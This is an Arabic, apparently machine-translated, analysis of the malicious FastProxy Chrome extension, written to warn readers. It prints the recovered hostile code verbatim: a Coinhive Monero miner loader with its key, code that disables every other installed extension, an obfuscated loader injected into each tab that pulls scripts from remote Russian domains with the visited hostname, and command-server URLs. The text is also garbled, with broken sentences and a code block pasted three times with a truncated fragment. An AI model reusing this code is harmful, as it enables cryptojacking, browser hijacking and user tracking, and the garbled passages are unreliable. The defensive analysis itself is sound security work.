في هذه المقالة سأوضح مدى خطورة الإضافات في الكروم ، وكيف
ملحقات Firefox أكثر أمانًا.
يتعلق الأمر بتوسيع FastProxy.
لا تضعه بأي شكل من الأشكال في الكروم.
للحصول على رمز المصدر الخاص به ، تحتاج أولاً إلى تثبيت عارض مصدر ملحق Chrome ملحق آخر.
بعد ذلك ، افتح الصفحة .
سيتحول رمز CRX إلى اللون الأصفر - انقر عليه وحدد "تنزيل بتنسيق zip".
الآن لتحليل الكود.
1. البيان (manifest.json) - جوهر أي امتداد
يتم تعيين قيود الإضافات بواسطة CSP (سياسة أمان المحتوى) والأذونات:
"content_security_policy": "script-src 'self' 'غير الآمن-Eval' https://ssl.google-analytics.com ؛ object-src 'self'"،
"الأذونات": ["proxy" ، "tabs" ، "webRequest" ، "webRequestBlocking" ، "management" ، "\ u003Call_urls>" ، "storage"] ،
يجب على CSP التنبيه على الفور ، فهو يسمح بالتقييم غير الآمن (المزيد عن هذا هنا ).
على سبيل المثال تنفيذ التعليمات البرمجية من أي سلسلة مرت.
- يسمح لك إذن
management
بإدارة الإضافات الأخرى. - يسمح إذن
webRequestBlocking
باستبدال جميع الطلبات التي تمر عبر المتصفح. - الإذن
\u003Call_urls>
هو نفس <all_urls>
- فهو يسمح لك بالعمل على أي موقع.
تعرف على المزيد حول الأذونات هنا .
على سبيل المثال استنادًا إلى ملف بيان واحد فقط ، فإن الامتداد لديه بالفعل مستوى كبير من الوصول إلى كل شيء.
يتم سرد ملفات رمز المفتاح في
"الخلفية": {
"scripts": ["lib.js"، "jquery.min.js"، "background.js"، "ga.js"]
} ،
يتم تنفيذها بالترتيب في الصفيف مباشرة بعد تثبيت الامتداد أو مباشرة بعد تشغيل المتصفح.
2. تحليل ملفات عملية الخلفية
يتم تصغير الرمز والخلط. للكشف ، سنستخدم الموقع http://jsbeautifier.org/ مع الإعدادات الافتراضية.
- قارنت ملف jquery.min.js برمز jquery 2.2.4 الأصلي - يتطابقان.
- ملف ga.js هو ببساطة رمز Google Analytics.
- الملف lib.js هو CryptoJS.
- يتركز الرمز الرئيسي في background.js.
لتسهيل قراءة التعليمات البرمجية ، أقوم بإعادة كتابتها قليلاً (الوظائف المعاد تسميتها ، تغيير الفواصل إلى كتل منفصلة ، إلخ).
يمكنك أيضًا استخدام إصدار فايرفوكس من نفس الامتداد لفهم الجزء غير الأساسي من الشفرة.
استخدام الوكيل في فايرفوكس والكروم يختلف اختلافا جذريا.
لتنزيل إصدار الامتداد فايرفوكس ، تحتاج إلى فتح الرابط في فايرفوكس.
انسخ الرابط إلى "أضف إلى فايرفوكس" وافتحه في الكروم.
فتح كأرشيف مضغوط.
يمكن العثور على الرمز المعاد كتابته على هذا الرابط .
بادئ ذي $.ajax
، تحتاج إلى فهم أن $.ajax
تنفيذه على ملف البرنامج النصي يدمج هذا البرنامج النصي في الصفحة (في هذه الحالة ، ليس في الصفحة ، ولكن في عملية الخلفية).
يحرسها الخط
localStorage.C = JSON.stringify( [ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==" ] );
لقد أخبرونا بالفعل أن الأمر ليس نظيفًا.
قم بإضافة CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config")
بعد CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config")
و CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record")
، يحظر إعدام أياكس نفسه.
في نفس الوقت ، في السطر JSON.parse( localStorage.C)[cc]
(وما شابه للتسجيل) cc نغير من 0 إلى 1 (لاحقًا إلى 2 عندما نرى صفائف من 3 عناصر).
نحصل على الروابط:
لتكوين هذا
http://proxyrus.ru/proxy/config/config.txt؟uid=1534767152937&version=5.0.4 (1)
http://proxy-fast.ru/proxy/config/config.txt؟uid=1534767152937&version=5.0.4 (2)
لتسجيل هذا
http://proxyrus.ru/proxy/config/data.txt؟uid=1534767152937&version=5.0.4 (3)
http://proxy-fast.ru/proxy/config/data.txt؟uid=1534767152937&version=5.0.4 (4)
علاوة على ذلك ، تقدم الروابط البيانات فقط عند استخدام uid والإصدار مع كلا المعلمتين ، وأيضًا من خلال $ .ajax أو الجلب فقط. لا تعمل مجرد رؤية فتح من خلال المتصفح - يبدو أن هناك عمليات تحقق للرؤوس الواردة.
الآن دعنا ننتقل إلى ما تعطيه هذه الأجاكس. إذا كنت تريد قراءتها بنفسك ، فمن الأفضل استخدام الجلب في مشروع آخر (ستحتاج إلى تثبيت الإضافات التي تفتح CORS في المتصفح).
لذلك ، يعطينا الرابط الأول برنامجًا نصيًا سيتم تضمينه تلقائيًا في عملية الخلفية ، لأنه يوجد "غير آمن" ، ولكن لا توجد قيود ارتباط في CSP.
من الجدير بالذكر الخط
function antiZapret (tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') { chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf(': ') != -1) document.body.innerHTML = '<center style=\"margin-top: 50px; font-size:20px;\"> .<br><br> .</center>'",runAt:"document_start"}); }
نحن ننطلق في البحث عن "anti-prohibition fastproxy" ونفتح نتيجة البحث الرابعة ، قسم "كن حذرًا".
اتضح أن FastProxy لا يستخدم خوادم الوكيل الخاصة به.
يعطي الرابط الثاني رمزًا مشابهًا للرمز الأول ، لكن النص يختلف بالفعل!
function closeWindow () { const time = 500; // setInterval(function() { // chrome.tabs.getSelected(null, function (details) { // id - if (details.id == -1) window.close(); }) }, time); } closeWindow();
عادة ما تحتوي جميع علامات التبويب على معرف. الاستثناء هو نافذة علامة التبويب وحدة تحكم المستعرض. على سبيل المثال هذا هو حماية ضد التجسس من خلال وحدة التحكم.
يحتوي هذا الملف أيضًا على عناوين URL جديدة ، وفك تشفيرها باستخدام CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8)
و CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8)
.
الارتباطان الأولان هما نفس الروابط السابقة. لكن الثالث مختلف:
http://fastproxy.ga/proxy/config/config.txt
ل "تسجيل" جميع الروابط الثلاثة جديدة.
http://proxyrus.ru/proxy/config/data_ru.txt
http://proxy-fast.ru/proxy/config/data_ru.txt
http://fastproxy.ga/proxy/config/data_ru.txt
في الواقع ، لا يختلف عن config_proxy-fast.ru.js
عودة إلى config_proxyrus.ru.js
يحتوي الرمز أيضًا على إغلاق وحدة التحكم. ثم يبدأ المرح.
سلسلة
var ext_id = chrome.app.getDetails().id;
يحصل على معرف الامتداد ، وهذه ميزة غير موثقة.
تستخدم الوثائق الحالية طريقة مختلفة
بعد ذلك يأتي الشوكة:
if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0 ="])؛ if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
نفس الروابط الثلاثة إذا لم تقع ext_id
في قائمة الامتدادات المطلوبة.
ورابط واحد جديد ، إذا كان يندرج في قائمة الملحقات + إعادة تشغيل كاملة للملحق.
إذا تمكن أي شخص من العثور على هذه الملحقات ، فاكتب في التعليقات. لا توجد تطابقات بالمعرف الحالي لـ FastProxy. البحث في متجر جوجل لا يعطي أي شيء من خلال معرفاتهم.
شرح الروابط
localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]);
يعطي
http://prowebdom.ru/update/test/proxy/config/config_ru.js
http://prowebdom.ru/update/test/proxy/config/data_ru.pac
والتي يمكن فتحها مباشرة في المتصفح.
config_prowebdom.ru.js
إغلاق وحدة التحكم مرة أخرى. ثم الأكثر إثارة للاهتمام.
var coin = $.get("https://coinhive.com/lib/coinhive.min.js"); coin.done(() => { var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true}); miner.start(); })
^ إطلاق عامل المنجم Monero. بالمناسبة ، تذكر المحفظة ، إذا رأيت شيئًا مشابهًا في الرمز ، فهؤلاء هم نفس الأشخاص.
function removeAdBlockExtensions () { window.chrome.management.getAll((extensions) => { extensions.forEach((e) => { if (e.enabled && e.id != window.chrome.runtime.id) { window.chrome.management.setEnabled(e.id, false); } }); }); } removeAdBlockExtensions();
يعطل هذا الرمز جميع الملحقات باستثناء نفسه.
إذا لم يكن هناك إذن من الإدارة ، فلن يكون ذلك ممكنًا.
التالي
chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch);
و
function onUpdatedListenerSearch(tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined') { var ext_id = chrome.app.getDetails().id; if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') { if (tab.url.indexOf('google') == -1) { // chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('[\"7a72793462736f702e7275\",\"746b636d36686a762e7275\"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback); } } } }
تبدأ tabs.onUpdated رد اتصال عند تحديث إحدى مراحل تحميل علامة تبويب إلى أخرى. مزيد من التفاصيل هنا.
ببساطة ، فإنه يؤثر على كل علامة تبويب.
if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf')
باستثناء FastProxy نفسها. يبدو أن هناك سلسلة من العديد من الامتدادات التي عملت مثل الفيروسات.
if (tab.url.indexOf('google') == -1) {
جميع عناوين url باستثناء تلك التي تحتوي على سلسلة google. على ما يبدو لأن علامات التبويب مع Google مؤقتة. السبب الحقيقي غير واضح بالنسبة لي.
وأسوأ ما في الأمر أنه يتم تنفيذ برنامج نصي في كل علامة تبويب بعد تحميل الصفحة بالكامل في علامة التبويب هذه:
مررها عبر أداة تجميل JS.
يمكن حذف ألعاب الشخصيات بفضل console.log.
أخطر شيء يبدأ حيث يتم إنشاء علامة البرنامج النصي.
var l = document.createElement ('script') ؛
ما يهمني في المقام الأول هو داخلي HTML أو src.
l.setAttribute('src', document.location.protocol + '//' + h)
الجزء الأيسر واضح - بروتوكول الصفحة الحالية. الجزء الصحيح هو الرابط الفعلي. ضع console.log هناك
نحصل
zry4bsop.ru/d6safundjenk6af/30022_0.js
وبالمثل ، قم بتشغيل JS beautifier
مبدأ الملف هو نفسه - الجزء الأكثر خطورة هو إضافة برنامج نصي.
var e = document.createElement("script"); e.setAttribute("src", document.location.protocol + "//" + t);
نحصل
zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
إذا كان يعمل على MDN
على productforums.google.com هو نفسه
zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js
اتضح أن الجانب الأيمن مرتبط بشيء
نحن ننظر إلى الرمز
document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2]
المذكورة في دالة الاستدعاء الذاتي f
ثم ورد في
var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js";
على سبيل المثال من خلال العمليات الرمزية ، يتم تمرير عنوان URL الذي تمت زيارته إلى البرنامج النصي.
نحن ننظر إلى شفرة البرنامج النصي نفسها ، فهي تتطابق.
قم بتشغيله مرة أخرى من خلال جهاز تجميل JS.
دون إعادة كتابة الرمز ، يمكنك إلقاء نظرة على إضافة العقد ، وإنشاء البرامج النصية ، واستبدال ملفات تعريف الارتباط ،
إنشاء عناصر من نقطة الصفر ، أياكس. لكن من الصعب جدًا فهم ما يحدث حقًا.
لذا حاول إعادة تسمية هذه الدوال المرقمة.
كان حل هذا الملف صعبًا. أصعب شيء هو الذهاب من خلال الإنشاء المستمر للكائنات التي تنشئ كائنات تنشئ كائنات ... كان من الصعب أيضًا العثور على وظائف نقية للبدء في كشف التشابك.
لم أتمكن من كشف الرمز بالكامل. ولكن ما كشف عنه يكشف ما يلي:
تجميع بصمة كاملة عن المستخدم ، والتي يتم تحويلها بعد ذلك إلى سلسلة فريدة من خلال سلسلة من عمليات البت.
تشمل هذه المطبوعة:
- وكيل
- معلومات حول المكونات الإضافية المثبتة (خاصة لـ IE). الجدير بالذكر بشكل خاص هنا هو خط Palemoon. والحقيقة هي أن Palemoon يسمح لك باستخدام Java.
- معلومات عن المعالج المستخدم
- معلومات حول الخطوط المثبتة (وظيفة getFontData). علاوة على ذلك ، يوفر الرمز القدرة على استخدام قائمة موسعة من الخطوط ، بالإضافة إلى النظام. ولكن يتم استخدام النظام فقط
- طباعة قماش فريدة (وظيفة get2dCanvasFingerprint). بالنظر إلى أنه يستخدم العديد من الأحرف غير القياسية ، هناك تحقق من وجود لغات مثبتة في النظام.
- بصمة فريدة من خلال webgl (وظيفة getWebglFingerprint)
- التحقق من زيف البيانات التي يوفرها المستكشف (وظيفة hasFalseBrowser). خاصة في هذا الصدد ، فإن استخدام Eval.toString () مثير للاهتمام لفهم نوع المتصفح المستخدم بالفعل. لم أكن لأتوقع ذلك أبدًا.
هناك وظيفة تقوم بتشغيل XMLHttpRequest. ولكن لا يتم استخدامه في التعليمات البرمجية ولا يبدأ عند بدء البرنامج النصي.
هناك وظيفة تقوم بتضمين وميض على الصفحة ، ولكن في الواقع لا يتم استخدامها.
ألق نظرة على رموز جمع بصمات الأصابع من القماش / webgl.
يوجد تضمين لإطار iframe في الصفحة (أسلوب appendBadIframe1).
الآن دعونا نرى ما في هذا iframe.
اركض عبر أداة تجميل JS.
وفقًا للكود ، هذا هو مبادل معلومات مع النص الرئيسي. إذا كان النص الرئيسي هو الجزء الأكبر من عمليات البت ، فسيتم تشغيل الإطار الإلكتروني من خلال الخصائص المحسوبة للكائنات. باستخدام window.postMessage ، يتبادلون الرسائل فيما بينهم.
يؤدي تنفيذ الملف إلى إنشاء 6 طلبات XHR (ومن خلال إنشاء Img) ، وعندما تنقر على الصفحة ، تفتح نافذة جديدة.
يمكن العثور على الروابط التي تم فك تشفيرها للطلبات في الرمز.
العودة إلى الامتداد
العودة إلى وصلات التسجيل والتسجيل. تُستخدم هذه الروابط كملف pac . لطريقة chrome.proxy.settings.set .
يمكن العثور على رموز الملفات هنا:
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js
الجوهر العام للملفات هو تعليق النطاقات من خلال الوكلاء المحظورين والملكية الفكرية من خلال وكيل ، وعلى DIRECT الأخرى ، أي الوصول دون وكيل.
تختلف مجموعة الخوادم ومجموعة المجالات / ip المحظورة.
دعنا نكتشف من تستخدم خوادمه إلى جانب القفل التلقائي (antizapret.prostovpn.org) FastProxy.
نحن نقود postls.com في البحث. افتح الرابط الأول.
لحظر ملحق Browsec ، ستحتاج إلى إنشاء قاعدة VPM التي ستحظر عنوان URL المقصود / اسم المضيف
Browsec.com
postlm.com
postls.com
على سبيل المثال تستخدم FastProxy خوادم Anti-Ban و Browsec بدون خوادمها الخاصة.
4. حول إمكانات التوسع
باستخدام الإذن webrequest + webrequestBlocking ، يمكنك تغيير أي طلب على الإطلاق ، بما في ذلك الطلبات الداخلية داخل الكروم نفسه.
على سبيل المثال يمكنك تغيير صفحات HTML تمامًا ، ويمكنك إزالة رؤوس التداخل في الطلبات ، بما في ذلك CSP (سياسة أمان المحتوى) للموقع.
باستخدام الوكيل الخاص بك ، يمكنك دمج كل حركة مرور المستخدم التي تمر عبر الوكيل الخاص بك.
5. حول سياسة ملحقات جوجل وموزيلا
إن سياسة Google أخف بكثير من سياسة Mozilla ، فهي تنشر كل شيء تقريبًا.
لدى Mozilla متطلبات صارمة: يُحظر التقييم غير الآمن ، ويحظر التعتيم على الشفرة (يُسمح به إذا قدمت جامعًا كاملاً).
كما تنظر موزيلا بشكل دوري إلى رموز التمديد ، ولكن ليس بعد النشر مباشرة.
يمكن قراءة المزيد من التفاصيل هنا وهنا .
لهذا السبب ، فإن تثبيت ملحقات فايرفوكس الجديدة أكثر هدوءًا من ملحقات الكروم.
6. ما الجديد في الكود:
يوفر المتصفح قدرًا غير واقعي من البيانات الفريدة حول المتصفح عما كان عليه في الماضي. وعلى الأرجح سيعطي المزيد في المستقبل.
ستسمح لك Eval.toString ، بالإضافة إلى الوظائف الأصلية الأخرى ، بحساب الإصدار الحقيقي من المتصفح.
طباعة فريدة على القماش و webgl.
7. أسئلة للقراء
إذا عمل شخص ما مع webgl ، فيرجى إخبارنا بما تقوم به وظيفة getWebglFingerprint. وما اتضح فريد هناك؟
يمكن العثور على جميع المصادر هنا.